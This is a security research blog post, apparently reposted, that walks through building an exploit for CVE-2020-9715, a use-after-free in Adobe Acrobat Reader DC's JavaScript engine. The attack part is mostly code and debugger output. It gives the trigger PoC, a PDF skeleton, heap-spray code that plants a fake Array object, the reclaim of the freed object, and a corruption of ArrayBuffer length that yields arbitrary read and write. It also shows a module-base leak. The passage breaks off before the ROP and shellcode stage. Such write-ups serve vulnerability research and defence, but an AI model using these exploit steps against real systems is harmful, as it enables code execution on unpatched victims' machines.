原文始发于Blog Post Title | PixiePoint Security:CVE-2020-9715: Exploiting the Adobe ESObject Use-After-Free Vulnerability
CVE-2020-9715: Exploiting the Adobe ESObject Use-After-Free Vulnerability
Overview
CVE-2020-9715 is a use-after-free vulnerability of the ESObject object that was reported via the Zero Day Initiative and patched in Adobe Security Bulletin APSB20-48. ZDI had released an analysis of this vulnerability and also outlined the exploit strategy.
In this 13-months-late write-up, we discuss the actual steps that we used to develop the exploit as a fun exercise.
This vulnerability was submited to ZDI by Mark Vincent Yason (@MarkYason).
This exploit was developed and tested on Adobe Acrobat Reader DC 2020.009.20074.
Vulnerability
The detailed description of the bug can be found in the ZDI blog [1], and the analysis is done on Adobe Reader DC Continuous 2020.009.20063.
The PoC is as below:
- function triggerUAF() {
- // cause an access to the freed Data ESObject in the object cache
- this.dataObjects[0].toString();
- }
- function poc() {
- // creating a Data ESObject to be stored in the object cache
- this.dataObjects[0].toString();
- // Remove reference to Data ESObject, address still in the object cache
- this.dataObjects[0] = null;
- // Trigger a GC which will free the Data ESObject then trigger the UAF
- g_timeout = app.setTimeOut(“triggerUAF()”, 1000);
- }
- poc();
The this.dataObjects[0].toString()
call creates a Data
ESObject, and the pointer to this ESObject is stored in an object cache. With the subsequent calls to this.dataObjects[0] = null
and invoking GC via app.setTimeOut()
, the JS engine would free the ESObject and remove the reference from the object cache. The following crash can then be triggered with the this.dataObjects[0].toString()
call:
- (1e00.1cf0): Access violation – code c0000005 (first chance)
- eax=3ad18fb8 ebx=00000001 ecx=57166ff0 edx=04300000 esi=57166ff0 edi=5943cff8
- eip=7c33d445 esp=032fe31c ebp=032fe320 iopl=0 nv up ei pl nz na pe nc
- cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
- EScript!mozilla::HashBytes+0x2ce95:
- 7c33d445 8b4004 mov eax,dword ptr [eax+4] ds:0023:3ad18fbc=????????
- 0:000> !heap -p -a eax
- address 3a50efb8 found in
- _DPH_HEAP_ROOT @ 731000
- in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
- 3a530e04: 3a50e000 2000
- 5843adc2 verifier!AVrfDebugPageHeapFree+0x000000c2
- 779299e3 ntdll!RtlDebugFreeHeap+0x0000003e
- 7786fabe ntdll!RtlpFreeHeap+0x000000ce
- 7786f986 ntdll!RtlpFreeHeapInternal+0x00000146
- 7786f3de ntdll!RtlFreeHeap+0x0000003e
- 751fe58b ucrtbase!_free_base+0x0000001b
- 751fe558 ucrtbase!free+0x00000018
- 796e6969 AcroRd32!AcroWinMainSandbox+0x00007529
- 77a9cd9a EScript!double_conversion::DoubleToStringConverter
- ::CreateDecimalRepresentation+0x00004d1a
Note that the blog has outline the triggering JavaScript but not the PDF, one additional step we did is to create a PDF that contains an embedded file following the PDF specification:
- 1 0 obj
- <<
- /Type/Catalog
- /Outlines 2 0 R
- /Pages 3 0 R
- /OpenAction 4 0 R
- /Names <<
- /EmbeddedFiles << /Names [(test.svg) 7 0 R ] >>
- >>
- >>
- …
- 7 0 obj
- <<
- /Type /Filespec /F (test.svg)
- /EF <</F 8 0 R >>
- >>
- endobj
- 8 0 obj
- <</Type /EmbeddedFile /Subtype /image#2Fsvg+xml /Length 77>>
- stream
- <?xml version=”1.0″ standalone=”no”?>
- <svg><!– Some SVG goes here –></svg>
- endstream
- endobj
Following the ZDI blog and debugging the sample created, we can confirm that the root cause of the stale reference of the ESObject in the object cache is due to use of inconsistent name string type when searching and deleting the object reference. Specifically, the ESObject was added to the cache by calling add_cache_entry()
with an ANSI name string "test.svg"
, but the del_cache_entry()
call is using a Unicode version of the string to search and delete the cache entry, resulted in a stale pointer:
- ESString (size 0x18):
- int type // 1: ANSI, 2: UNICODE
- void* buffer // String buffer
- int len // Length of the string
- int max // Max capacity of the string buffer
- int unknown
- int unknown
The following are the key steps:
- Add a cache entry for the ESObject
- ; text:00090D96 call add_cache_entry_90641
- Breakpoint 0 hit
- eax=3ae7eff0 ebx=2e53efc0 ecx=3ae7eff0 edx=00000008 esi=3ae66fe8 edi=3aefafb8
- eip=7b460d96 esp=032fb978 ebp=032fb9b4 iopl=0 nv up ei pl nz na pe nc
- cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
- EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x28d16:
- 7b460d96 e8a6f8ffff call EScript!double_conversion::DoubleToStringConverter
- ::CreateDecimalRepresentation+0x285c1 (7b460641)
- 0:000> dd edi l12 ; the ESObject
- 3aefafb8 2e53efc0 2ea29ba0 00000000 3afd2fb0
- 3aefafc8 00000000 00000000 00000000 00000000
- 3aefafd8 00000000 00000000 00000000 00000000
- 3aefafe8 00000000 00000000 c0c0c000 00000000
- 3aefaff8 00000000 00000000
- 0:000> dd esp l2
- 032fb978 032fb990 032fb998 ; arg_4 is the cache key
- 0:000> dd 032fb998 l2 ; Cache Key: (PDDoc, Name)
- 032fb998 1e75abc0 3b012fe8
- 0:000> dd 3b012fe8 l6 ; Name: ESString
- 3b012fe8 00000001 3b00afe0 00000008 00000020 ; ESString.type = 1 for ANSI
- 3b012ff8 00000000 00000000
- 0:000> db 3b00afe0 l10 ; ESString.buffer
- 3b00afe0 74 65 73 74 2e 73 76 67-00 00 00 00 00 00 00 00 test.svg……..
- Delete the cache entry for the ESObject
- Breakpoint 1 hit
- eax=3ae7eff0 ebx=00000001 ecx=3ae7eff0 edx=00000012 esi=54694fe8 edi=3af86fe8
- eip=7b460816 esp=032feb98 ebp=032febc4 iopl=0 nv up ei pl nz na pe nc
- cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
- EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x28796:
- 7b460816 e8e33a0000 call EScript!double_conversion::DoubleToStringConverter
- ::CreateDecimalRepresentation+0x2c27e (7b4642fe)
- 0:000> dd esp l1 ; arg_0 is the cache key
- 032feb98 032febac
- 0:000> dd 032febac l2 ; Cache Key: (PDDoc, Name)
- 032febac 1e75abc0 52e16fe8
- 0:000> dd 52e16fe8 l6 ; Name: ESString
- 52e16fe8 00000002 57488fe0 00000012 00000020 // ESString.type = 2 for Unicode
- 52e16ff8 00000000 00000000
- 0:000> db 57488fe0 l20 ; ESString.buffer
- 57488fe0 fe ff 00 74 00 65 00 73-00 74 00 2e 00 73 00 76 …t.e.s.t…s.v
- 57488ff0 00 67 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .g…………..
Note for both calls, the
PDDoc
object is the same:1e75abc0
. - The Use-After-Free
- ; bu EScript!mozilla::HashBytes+0x2ce95
- Breakpoint 1 hit
- eax=0979ebb8 ebx=00000001 ecx=09829cb0 edx=00630000 esi=09829cb0 edi=0e2ae1c0
- eip=77a6d445 esp=004fe56c ebp=004fe570 iopl=0 nv up ei pl nz na pe nc
- cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
- EScript!mozilla::HashBytes+0x2ce95:
- 77a6d445 8b4004 mov eax,dword ptr [eax+4] ds:0023:0979ebbc=0f0e0058
- .text:00092AAC call sub_82310 ; this.dataObjects[0]
- .text:00092AB1 push eax ; a freed object returned
- .text:00092AB2 mov eax, [ebp+var_10]
- .text:00092AB5 push dword ptr [edi+eax*4]
- .text:00092AB8 call use_obj_3D430 ; UAF fetching JSObject at [eax+4]
- .text:00092ABD mov eax, [ebp+var_10]
- .text:00092AC0 add esp, 2Ch
Exploitation
A brief summary of the steps of exploitation by Mark Yason was also outlined in [1], we have followed most of it by recreating some of the key steps, while some other steps taking alternative approaches following a few public references [2], [3] and [4].
The steps involved in the exploit by Mark Yason are as follows:
- Spray a large number of ArrayBuffers so that one of them will likely be corrupted when we perform a write near the chosen address FAKE_ARRAY_JSOBJ_ADDR (later, step 9). Place crafted data into each ArrayBuffer so that at address FAKE_ARRAY_JSOBJ_ADDR there will be a fake JS array object. This fake array will be used when we perform the corruption later in steps 9 and 10.
- Create a spray string containing the value FAKE_ARRAY_JSOBJ_ADDR
- Prime the LFH for the ESObject size (0x48)
- Trigger the creation of a Data ESObject which will be stored in the object cache
- Remove the reference to the Data ESObject. Its address remains in the object cache
- Trigger garbage collection, which will free the Data ESObject. Nevertheless, its address remains in the object cache
- Overwrite the freed Data ESObject with the spray string containing FAKE_ARRAY_JSOBJ_ADDR
- Access the freed Data ESObject in the object cache, assigning it into script variable fakeArrObj. Since the memory of the ESObject has been filled with FAKE_ARRAY_JSOBJ_ADDR, this value will be interpreted as the address of the corresponding JsObject. The fake array object presented there (see step 1) is then accessible to script via the variable fakeArrObj
- Since fakeArrObj is located at FAKE_ARRAY_JSOBJ_ADDR and one of our sprayed ArrayBuffers is there, we can use fakeArrObj to overwrite an ArrayBuffer’s byteLength with 0xFFFFFFFF
- Additionally, create an AcroForm text field and set it into an element of fakeArrObj. This writes a pointer to the text field into a location within the ArrayBuffer object. Later, this will be used for leaking the load address of AcroForm.api
- Locate the corrupted ArrayBuffer among the ArrayBuffers that were created step 1
- Prepare a DataView corresponding to the corrupted ArrayBuffer. This will be used for the read/write primitive
- Prepare ROP chains and shellcode
- Code execution: execute the ROP gadget via JSObject::setGeneric()
We implement the steps in roughly two stages, the memory layout setup and triggering of vulnerability in the JavaScript function poc()
, which covers step (1) – (5), then invoke GC using app.setTimeOut()
, upon the time out, triggers the remaining steps (7) – (14).
The general idea of the exploit is to spray a lot of ArrayBuffer
objects of size 0x10000
, and the content of each ArrayBuffer
is set with data constructions that are needed for the exploit, in this way, because the data buffer of the ArrayBuffer would appear at the addresses in the form of 0x????0048+0x10
, we get access to the necessary data constructions.
The core of the exploit lies in the following steps:
- Craft fake Array objects so that one lands at fixed address
FAKE_ARRAY_JSOBJ_ADDR
, e.g.,0x14000058
. - Use the freed ESObject as a powerful JSObject primitive: having access to a JSObject at an arbitrary address. By gaining control of the freed ESObject we can set arbitrary value to the pointer field of the corresponding JSObject.
- Retrieve the controlled JSObject pointer by
fakeArrObj = this.dataObjects[0]
. With this fake Array JSObject, we gain the ability to access the same area of buffer from both Array and DataView interface. - With the dual access capability we can achieve global read and write, specifically, to be able to corrupt the
byteLength
field of the subsequentArrayBuffer
object; and by storing JavaScript object using array element assignment we can leak code pointers using theDataView
of theArrayBuffer
object.
Global Setup
The following configurations are used in the final tested exploit:
- / * The ArrayBuffer spray */
- var spray_base = 0x14000048; // 0x0f0e0048
- var spray_len = 0x10000 – 24;
- var spray_size = 0xd00;
- var spray_arr1 = new Array(spray_size);
- /* The string spray */
- var esobj_str = null;
- var spray_arr2 = new Array(0x40);
esobj_str
is used to occupy the freed ESObject
with controlled content and spray_arr2
is used to keep the references for occupying the freed ESObject
. With reference to [2], we can see how an ESObject
and its corresponding JSObject
instance are linked:
- ; at the call to add_cache_entry_90641()
- Breakpoint 0 hit
- eax=3aa3aff0 ebx=2e32afc0 ecx=3aa3aff0 edx=00000008 esi=3ab16fe8 edi=3a92efb8
- eip=77ac0d96 esp=02febb78 ebp=02febbb4 iopl=0 nv up ei pl nz na pe nc
- cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
- EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x28d16:
- 77ac0d96 e8a6f8ffff call EScript!double_conversion::DoubleToStringConverter::
- CreateDecimalRepresentation+0x285c1 (77ac0641)
- ; The 0x48 bytes ESObject
- 0:000> dd edi l12
- 3a92efb8 2e32afc0 2e729ba0 00000000 3a8b6fb0 ; 2nd DWORD: JSObject
- 3a92efc8 00000000 00000000 00000000 00000000
- 3a92efd8 00000000 00000000 00000000 00000000
- 3a92efe8 00000000 00000000 c0c0c000 00000000
- 3a92eff8 00000000 00000000
- ; 2nd DWORD: associated JSObject (Liu Ke @ HitB [2])
- 0:000> dd 2e729ba0
- 2e729ba0 2e7b0700 2e725be0 00000000 77ca5528
- 2e729bb0 3a92efb8 00000000 00000000 00000000
- ; ——–
- ; |–> points back to ESObject
To control the JSObject
pointer in ESObject
object, we just need a spray string esobj_str
of 0x48 bytes that has a controlled value at the 2nd DWORD.
The first heap spray places controlled data at predictable address using ArrayBuffer
objects, once earlier disclosure of the technique was the In-the-Wild exploit for Adobe Reader CVE-2018-4990. It is done with the following:
- for(i = 0; i < spray_size; i ++)
- spray_arr1[i] = new ArrayBuffer(0x10000 – 24);
which would layout ArrayBuffer
objects of byteLength
0xffe8
, with 8 bytes of heap header and 0x10 bytes header, they are 0x10000 byte chunks and most of them would be aligned at addresses with a fixed lower word such as 0x????0048
:
- 0:000> dd 0f0e0040
- 0f0e0040 26125a1f 0834b8ea 00000000 0000ffe8
- 0f0e0050 08de38c8 00000000 00000000 00000000
We can then proceed to constructing a fake Array
JSObject
with its property table and elements array header inside the 0xffe8
bytes of data buffer for each ArrayBuffer
objects.
- Constructing fake Array JSObject in ArrayBuffer spraysAt the time of writing this technique does not seem to be publicly known, despite the mention in the ZDI blog post. It sounds like a very powerful tool when we’ve got a
JSObject
primitive, i.e., attacker has control over a dangling reference from JS engine and the object memory can be fully controlled.A somewhat similar technique was first seen used in the Tianfu Cup 2019 exploit [4] by @b1t (Phan Thanh Duy). In this PoC there is a stale reference to a freed
Sound
object, by allocating and freeing an Array JSObject into the freed memory, he can flush the memory to haveArray
JSObject
headers and basic structures, yet having aJSObject
reference pointing to this freed memory. Meanwhile by allocating aTypedArray
object into the_elements
buffer of the freedArray
JSObject
, he gets another reference to theArray
_elements
buffer. In this way the_elements
buffer can now be read / write accessed using both theArray
or theTypedArray
reference, this can then be turned into relative and arbitrary read / write capabilities.The sketch of this exploit of
CVE-2020-9715
by ZDI is alike but of a different setup. First, we already have read and write access to the memory with the associatedDataView
object of theArrayBuffer
. Second we can not allocate anArray
JSObject
into the memory that’s already occupied byArrayBuffer
, so the missing step is to establish read and write access by crafting anArray
JSObject
from scratch. It is not clear whether this is the original technique in Mark Yason’s exploit, but does seem to be the least complex way since it’s the only missing step: with a fakeArray
JSObject
, we can assign the address tofakeArrObj
and the rest of the steps would match perfectly to the sketch in ZDI blog.Due to the version differences of the SpiderMonkey JavaScript engine used in Adobe Reader DC and other public versions such as FireFox, and a lack of documentation and public symbols, we do not have the exact mapping of the data structures for the
Array
JSObject
. Therefore the construction of fakeArray
JSObject
was trial-and-error based on debugging, with a few references including the source code of Adobe Reader JS engine and the dissection of FireFox SpiderMonkey by @argp in [3].The
Array
JSObject
has a 0x10 bytes header:- 0:000> dd 0f0e0040
- 0f0e0040 26125a1f 0834b8ea 00000000 0000ffe8
- 0f0e0050 08de38c8 00000000 00000000 00000000
The field
elements_
points to the body of the array, and the body has a 0x10 bytes header right before theelements_
pointer. This is either continuous to theArray
JSObject
header, or being reallocated to a different area. We can observe this from the arrayspray_arr2[]
, ofesobj_str
strings which (for now) is made up of the following pattern:"\xc0\xc0\xc0\xc0\x58\x00\x0e\x0f"
. This is when we test step 2 and 7 with theJSObject
pointer at0x0f0e0058
with the following test code:- var spray_arr2 = new Array(40);
- esobj_str = unescape(“%uc0c0%uc0c0%u0058%u0f0e”); // from spray_base + 0x10
- while (esobj_str.length < 0x40) {
- esobj_str += esobj_str;
- }
- for(i = 0x12; i < 0x50; i ++)
- spray_arr2[i] = esobj_str.substring(0, 0x48/2–1).toUpperCase();
We can then use the debugger and references to find out how to construct a fake array
JSObject
code>:- spray we search the string backwards to locate the Array JSObject:
- 0:000> s 0 l?0xffffffff c0 c0 c0 c0 58 00 0e 0f
- …
- 09f2b400 c0 c0 c0 c0 58 00 0e 0f-c0 c0 c0 c0 58 00 0e 0f ….X…….X…
- 09f2b408 c0 c0 c0 c0 58 00 0e 0f-c0 c0 c0 c0 58 00 0e 0f ….X…….X…
- 09f2b410 c0 c0 c0 c0 58 00 0e 0f-c0 c0 c0 c0 58 00 00 00 ….X…….X…
- 09f2b428 c0 c0 c0 c0 58 00 0e 0f-c0 c0 c0 c0 58 00 0e 0f ….X…….X…
- 09f2b430 c0 c0 c0 c0 58 00 0e 0f-c0 c0 c0 c0 58 00 0e 0f ….X…….X…
- …
- ; pick one that is 0x48 bytes
- 0:000> !heap -p -a 09f2b400
- address 09f2b400 found in
- _HEAP @ 3020000
- HEAP_ENTRY Size Prev Flags UserPtr UserSize – state
- 09f2b3d0 000a 0000 [00] 09f2b3d8 00048 – (busy)
- ; search the UserPtr to locate the string
- 0:000> s 0 l?0xffffffff d8 b3 f2 09
- 095ee134 d8 b3 f2 09 00 00 00 00-00 00 00 00 34 00 00 00 …………4…
- ; the string ‘descriptor’ is at 095ee130
- 0:000> dd 095ee130 – 10 l 0xc
- 095ee120 00000232 09e9fb20 0000003f 00000000
- 095ee130 00000234 09f2b3d8 00000000 00000000
- 095ee140 00000034 095ee148 c0c0c0c0 00000058
- ; search the string object to locate spray_arr2[] elements_ buffer
- 0:000> s 0 l?0xffffffff 30 e1 5e 09
- 09cdd6e8 30 e1 5e 09 85 ff ff ff-60 e1 5e 09 85 ff ff ff 0.^…..`.^…..
- 09d8bc58 30 e1 5e 09 85 ff ff ff-60 e1 5e 09 85 ff ff ff 0.^…..`.^…..
- ; the first result is the freed buffer of 0x10 elements, capacity 0x28
- 0:000> !heap -p -a 09cdd6e8
- address 09cdd6e8 found in
- _HEAP @ 3020000
- HEAP_ENTRY Size Prev Flags UserPtr UserSize – state
- 09cdd680 0013 0000 [00] 09cdd688 00090 – (free)
- 0:000> dd 09cdd688 l30
- 09cdd688 00000000 00000010 00000010 00000028
- 09cdd698 0959ff40 ffffff85 0959ff70 ffffff85
- 09cdd6a8 0959ffa0 ffffff85 0959ffd0 ffffff85
- 09cdd6b8 095ee010 ffffff85 095ee040 ffffff85
- ; the second result is the reallocation triggered by 10-th string
- 0:000> !heap -p -a 09d8bc58
- address 09d8bc58 found in
- _HEAP @ 3020000
- HEAP_ENTRY Size Prev Flags UserPtr UserSize – state
- 09d8bbf0 0023 0000 [00] 09d8bbf8 00110 – (busy)
- 0:000> dd 09d8bbf8 l40
- 09d8bbf8 00000000 00000028 00000040 00000028
- 09d8bc08 0959ff40 ffffff85 0959ff70 ffffff85
- 09d8bc18 0959ffa0 ffffff85 0959ffd0 ffffff85
- 09d8bc28 095ee010 ffffff85 095ee040 ffffff85
- 09d8bc38 095ee070 ffffff85 095ee0a0 ffffff85
- 09d8bc48 095ee0d0 ffffff85 095ee100 ffffff85
- 09d8bc58 095ee130 ffffff85 095ee160 ffffff85
- …
- ; We’ve found the array elements_ buffer at 09d8bbf8
From [3], we can map the fields to the
Array
JSObject
header and theelements_
buffer prepended header:- ; js::HeapPtrShape shape_;
- ; js::HeapPtrTypeObject type_;
- ; js::HeapSlot *slots_;
- ; js::HeapSlot *elements_;
- shape_ type_ slots_ elements_
- +0x00 …….. …….. 00000000 0d0e004c
- flags initLen capacity length
- +0x10 00000000 00000012 00000020 00000028
However, with a simplistic construction with both
shape_
andtype_
set to null, assigning the pointer tofakeArrObj
does not lead to a recognized JavaScript object. From the source code of Adobe Reader SpiderMonkey we can find some similarities to the runtime data but does not lead to a complete match:- struct JSObject {
- JSObjectMap *map;
- jsval *slots;
- };
- struct JSObjectMap {
- jsrefcount nrefs; /* count of all referencing objects */
- JSObjectOps *ops; /* high level object operation vtable */
- uint32 nslots; /* length of obj->slots vector */
- uint32 freeslot; /* index of next free obj->slots element */
- };
As now, we can confirm the 3rd DWORD in
Array
JSObject
is normally 0, and the 4th DWORD is the pointerelements_
. And there’s no such data structuresshape_
andtype_
in Adobe source. We denote the first two DWORD asdw0
anddw1
.- ; Repeating the steps we can get the Array JSObject header
- ; spray_str -> str obj -> array -> elements -> metadata -> shape_:
- 0:000> dd 0aaafd30
- 0aaafd30 0aa85d18 0aa25960 00000000 0b3e26b8 ; elements_: 0b3e26b8
- 0aaafd40 00000000 00000000 00000000 00000000
- ; with dw0 = 0aa85d18, and dw1 = 0aa25960
- 0:000> dd 0aa85d18
- 0aa85d18 0aa3f420 0a812580 07ffffff 00000044
- ; 1st DW of dw0 is a pointer to “Array”
- 0:000> dd 0aa3f420 l4
- 0aa3f420 79c017f0 0aa28090 00000000 0a3548f0
- ; 2nd DW of dw0 is a table of 0x20 bytes records {len, &wcstr, wcstr}:
- ; there’s a total of 0xd4 records, looks like a global map of properties
- 0a812580 68 00 00 00 88 25 81 0a 6c 00 65 00 6e 00 67 00 h….%..l.e.n.g.
- 0a812590 74 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 t.h………….
- 0a8125a0 48 00 00 00 a8 25 81 0a 6c 00 69 00 6e 00 65 00 H….%..l.i.n.e.
- 0a8125b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
- 0a8125c0 a8 00 00 00 c8 25 81 0a 6c 00 69 00 6e 00 65 00 …..%..l.i.n.e.
- 0a8125d0 4e 00 75 00 6d 00 62 00 65 00 72 00 00 00 00 00 N.u.m.b.e.r…..
- …
- 0a813fc0 b8 00 00 00 c8 3f 81 0a 67 00 65 00 74 00 55 00 …..?..g.e.t.U.
- 0a813fd0 54 00 43 00 4d 00 6f 00 6e 00 74 00 68 00 00 00 T.C.M.o.n.t.h…
- 0a813fe0 78 00 00 00 e8 3f 81 0a 67 00 65 00 74 00 44 00 x….?..g.e.t.D.
- 0a813ff0 61 00 74 00 65 00 00 00 00 00 00 00 00 00 00 00 a.t.e………..
- ; dw1 does look like it’s related to
type_
: - 0:000> dd 0aa25960
- 0aa25960 79c017f0 0aa2d040 00000000 80ff0008 ; 1st DW: pp to “Array”
- 0aa25970 00000000 00000000 00000000 00000000
- 0aa25980 0aa25a80 0aa25a80 00000000 80ff0008
- 0aa25990 00000000 00000000 00000000 00000000
- 0aa259a0 0a2c5780 0aa2a010 00000000 80ff0008
- 0aa259b0 00000000 00000000 00000000 00000000
- ..
- ; 1st dword of dw1: ptr to “Array”:
- 0:000> db poi(79c017f0) l8
- 79b42688 41 72 72 61 79 00 00 00 Array…
By repeated trial and error with step 2-8 implemented, we eventually arrive at a construction that gives a valid
JSObject
confirmed by the following:- console.println(“[+] fakeArrObj constructed. Type: “ + typeof(fakeArrObj));
The old offset used for
FAKE_ARRAY_JSOBJ_ADDR
was0x0f0e0058
, in subsequent test we changed it to0x14000048
for better reliability. The property table has only one entry for"length"
and there are a few hacks to make the code goes through. We arrange theelements_
buffer near the end of the ArrayBuffer to corrupt the nextArrayBuffer
byteLength
field. The completed spray and construction as below:- function poc() // Test on: 2020.009.20063 / 20074
- {
- /* 1. Spray many ArrayBuffer, each with a fake ArrayObject (array JSObject) */
- var ab_base = spray_base + 0x10; // 0x0f0e0058: aka FAKE_ARRAY_JSOBJ_ADDR
- for(i = 0; i < spray_size; i ++)
- {
- spray_arr1[i] = new ArrayBuffer(0x10000 – 24);
- var dv = new DataView(spray_arr1[i]);
- /* dw0 dw1 dw2 elements_
- * +0x00 …….. …….. 00000000 0f0f0038
- */
- dv.setUint32( 0x00, ab_base + 0x48, true); // 0x0f0e0058: 0x0f0e00a0 dw0
- dv.setUint32( 0x04, ab_base + 0x68, true); // 0x0f0e005c: 0x0f0e00c0 dw1
- dv.setUint32( 0x0c, ab_base + 0xffe0, true); // 0x0f0e0064: 0x0f0f0038 elem_
- // craft dw0
- dv.setUint32( 0x48, ab_base + 0xa0, true); // 0x0f0e00a0: 0x0f0e00f8
- dv.setUint32( 0x4c, ab_base + 0xc8, true); // 0x0f0e00a4: 0x0f0e0120 ppty table
- dv.setUint32( 0x50, 0x07ffffff, true); // 0x0f0e00a8: const
- dv.setUint32( 0x54, 0x00000044, true); // 0x0f0e00ac: const
- // 0xe0: “Array”, 0xe8: &”Array”, 0xec: 6, 0xf8: 0xe8
- dv.setUint32( 0x88, 0x61727241, true); // 0x0f0e00e0: Str
- dv.setUint32( 0x8c, 0x00000079, true); // 0x0f0e00e4
- dv.setUint32( 0x90, ab_base + 0x88, true); // 0x0f0e00e8: 0x0f0e00e0 pStr
- dv.setUint32( 0x94, 0x0000000c, true); // 0x0f0e00ec
- dv.setUint32( 0xa0, ab_base + 0x90, true); // 0x0f0e00f8: 0x0f0e00e8 ppStr
- // hack chunk / arena end marking @ 0x0f0ffffc and 0x0f0e0000
- dv.setUint32(0xffa4, ab_base + 0x7fa8, true); // 0x0f0efffc: 0x0f0e8000
- dv.setUint32(0xffa8, ab_base + 0x7fac, true); // 0x0f0f0000: 0x0f0e8004
- dv.setUint32(0x7fa8, 0x00000000, true); // 0x0f0e8000
- dv.setUint32(0x7fac, 0x00000000, true); // 0x0f0e8004
- // craft dw1
- dv.setUint32( 0x68, ab_base + 0x90, true); // 0x0f0e00c0: 0x0f0e00e8
- dv.setUint32( 0x6c, 0x00000000, true); // 0x0f0e00c4
- dv.setUint32( 0x74, 0x80ff0008, true); // 0x0f0e00cc: const
- // property table with entry “length”
- dv.setUint32( 0xc8, 0x00000068, true); // 0x0f0e0120: size
- dv.setUint32( 0xcc, ab_base + 0xd0, true); // 0x0f0e0124: 0x0f0e0128 addr
- dv.setUint32( 0xd0, 0x0065006c, true); // 0x0f0e0128: str
- dv.setUint32( 0xd4, 0x0067006e, true); // 0x0f0e012c
- dv.setUint32( 0xd8, 0x00680074, true); // 0x0f0e0130
- // craft marker
- dv.setUint32(0xffe0, 0x11224433, true); // 0x0f0f0038
- dv.setUint32(0xffe4, 0xffffff81, true); // 0x0f0f003c
- /* flags initLen capacity length
- * +0x10 00000000 00000028 00000040 00000028
- */
- var _elem_offset = 0x0f0f0038 – 0x0f0e0058;
- dv.setUint32(_elem_offset – 0xC, 0x28, true); // initLen
- dv.setUint32(_elem_offset – 0x8, 0x40, true); // capacity
- dv.setUint32(_elem_offset – 0x4, 0x28, true); // length
- delete dv;
- }
- //…
- }
Due to EScript code in checking SpiderMonkey chunk and arena end markings, we’ve added code to work around by setting valid pointers to the chunk / arena end marking @
0x0f0ffffc
and0x0f0e0000
, the data at these pointers should be 0.We’ve also added markers to the fake Array JSObject to confirm the successful construction in step 8.
- Create a spray string containing the value FAKE_ARRAY_JSOBJ_ADDRThe
esobj_str
string only needs to have the crafted JSObject pointer at the 2nd DWORD of the ESObject.- esobj_str = unescape(“%uc0c0%uc0c0%u0058%u1400”); // from spray_base + 0x10
- while (esobj_str.length < 0x40) {
- esobj_str += esobj_str;
- }
- Prime the LFH for the ESObject size (0x48)Activate the LFH for size 0x48 so that in step 4 the
ESObject
created will be in LFH. Note that static JS strings do not reside in the process heap. But the trick from [5] allow us to create a copy of the string via heap allocation by calling eithertoLowerCase()
ortoUpperCase()
, one of which that does not alter the pointer value coded intoesobj_str
.- /* 3. Prime the LFH for ESObject size (0x48) */
- for(var i = 0; i < 0x12; i ++)
- spray_arr2[i] = esobj_str.substring(0, 0x48/2–1).toUpperCase();
- Trigger ESObject creation to be stored in the Object Cache
- /* 4. Trigger creation of a Data ESObject to store in object cache */
- this.dataObjects[0].toString();
- Remove reference to Data ESObject
- /* 5. Remove reference to the Data ESObject, address still in object cache */
- this.dataObjects[0] = null;
- Trigger GC to free the ESObjectAfter testing a much smaller timeout value than earlier used could improve the reliability to near 100%.
- /* 6. Trigger GC to free the Data ESObject (address is still in the object cache) */
- g_timeout = app.setTimeOut(“afterGC()”, 10);
- Overwrite the freed ESObject with spray string
- /* 7. Overwrite the freed ESObject with spray string in step 2 */
- for(i = 0x12; i < 0x30; i ++)
- spray_arr2[i] = esobj_str.substring(0, 0x48/2–1).toUpperCase();
- Obtain fakeArrObj JSObject reference via array assignmentThis would fetch the
JSObject
pointer of theESObject
and assign it to the dummy referencefakeArrObj
. As long as step 7 is successful, we can expect the craftedArray
JSObject
right atFAKE_ARRAY_JSOBJ_ADDR
andfakeArrObj
is no longer null. TheArray
JSObject
type check is confirmed by accessing the first cell to match against the planted marker0x11224433
.- /* 8. Assign the freed ESObject to fakeArrObj:
- * – the filled value FAKE_ARRAY_JSOBJ_ADDR interpreted as JSObject
- * – A fake array object in (1) can now be accessed via fakeArrObj
- */
- fakeArrObj = this.dataObjects[0];
- try {
- if (fakeArrObj != null && fakeArrObj[0] == 0x11224433)
- console.println(“[+] fakeArrObj constructed. Type: “ + typeof(fakeArrObj));
- else {
- console.println(“[-] fakeArrObj: Array JSObject incomplete.”);
- return;
- }
- }
- catch(e) {
- handleExcp(e, 6);
- return;
- }
- Use fake Array to overwrite ArrayBuffer byteLengthRecall in step 1 that
_elem_offset = 0x0f0f0038 - 0x0f0e0058;
The first cell of the Array would start from offset0xFFE0
at the end of current ArrayBuffer,0x14000038
in our case. This would write the pair(0, 0xFFFFFF81)
after 0x10 bytes, right at the 1st and 2nd DWORD in the ArrayBuffer header. The 1st DWORD is always 0 so left untouched, and thebyteLength
field is changed to0xFFFFFF81
. Effectively giving us global read and write capability with just one overwrite.- /* 9. Use fakeArrObj to overwrite the ArrayBuffer’s byteLength */
- fakeArrObj[2] = 0;
- Leak AcroForm.api baseAfter trial and error, we can leak
AcroForm.api
base from anXMLNode
object, by assigning the object to a cell of the fake Array, to later read the pointer out with our global read primitive, as the code below:- /* 10. Create a Field object as an element of fakeArrObj:
- * – This stores a pointer to the Field object into ArrayBuffer
- * – Later to leak AcroForm.api base from this pointer
- */
- var oNodes = XMLData.parse(“<a></a>”, false); // AB[0,1] = (ptr,0xffffff87)
- fakeArrObj[4] = oNodes;
- var field1 = this.getField(“Field1”);
- fakeArrObj[6] = field1;
We’ve also assigned a TextField object into
fakeArrObj[6]
in order to execute shellcode later. - Locate corrupted ArrayBufferWith the byteLength field being corrupted, we can find the
ArrayBuffer
in the spray array.- /* 11. Locate the corrupted ArrayBuffer */
- for(var i = 0; i <spray_size; i ++)
- {
- if (spray_arr1[i].byteLength != 0xffe8)
- {
- console.println(“[+] R/W ArrayBuffer: byteLen = “ +
- spray_arr1[i].byteLength + “, index = “ + i);
- break;
- }
- }
- if (i == spray_size) {
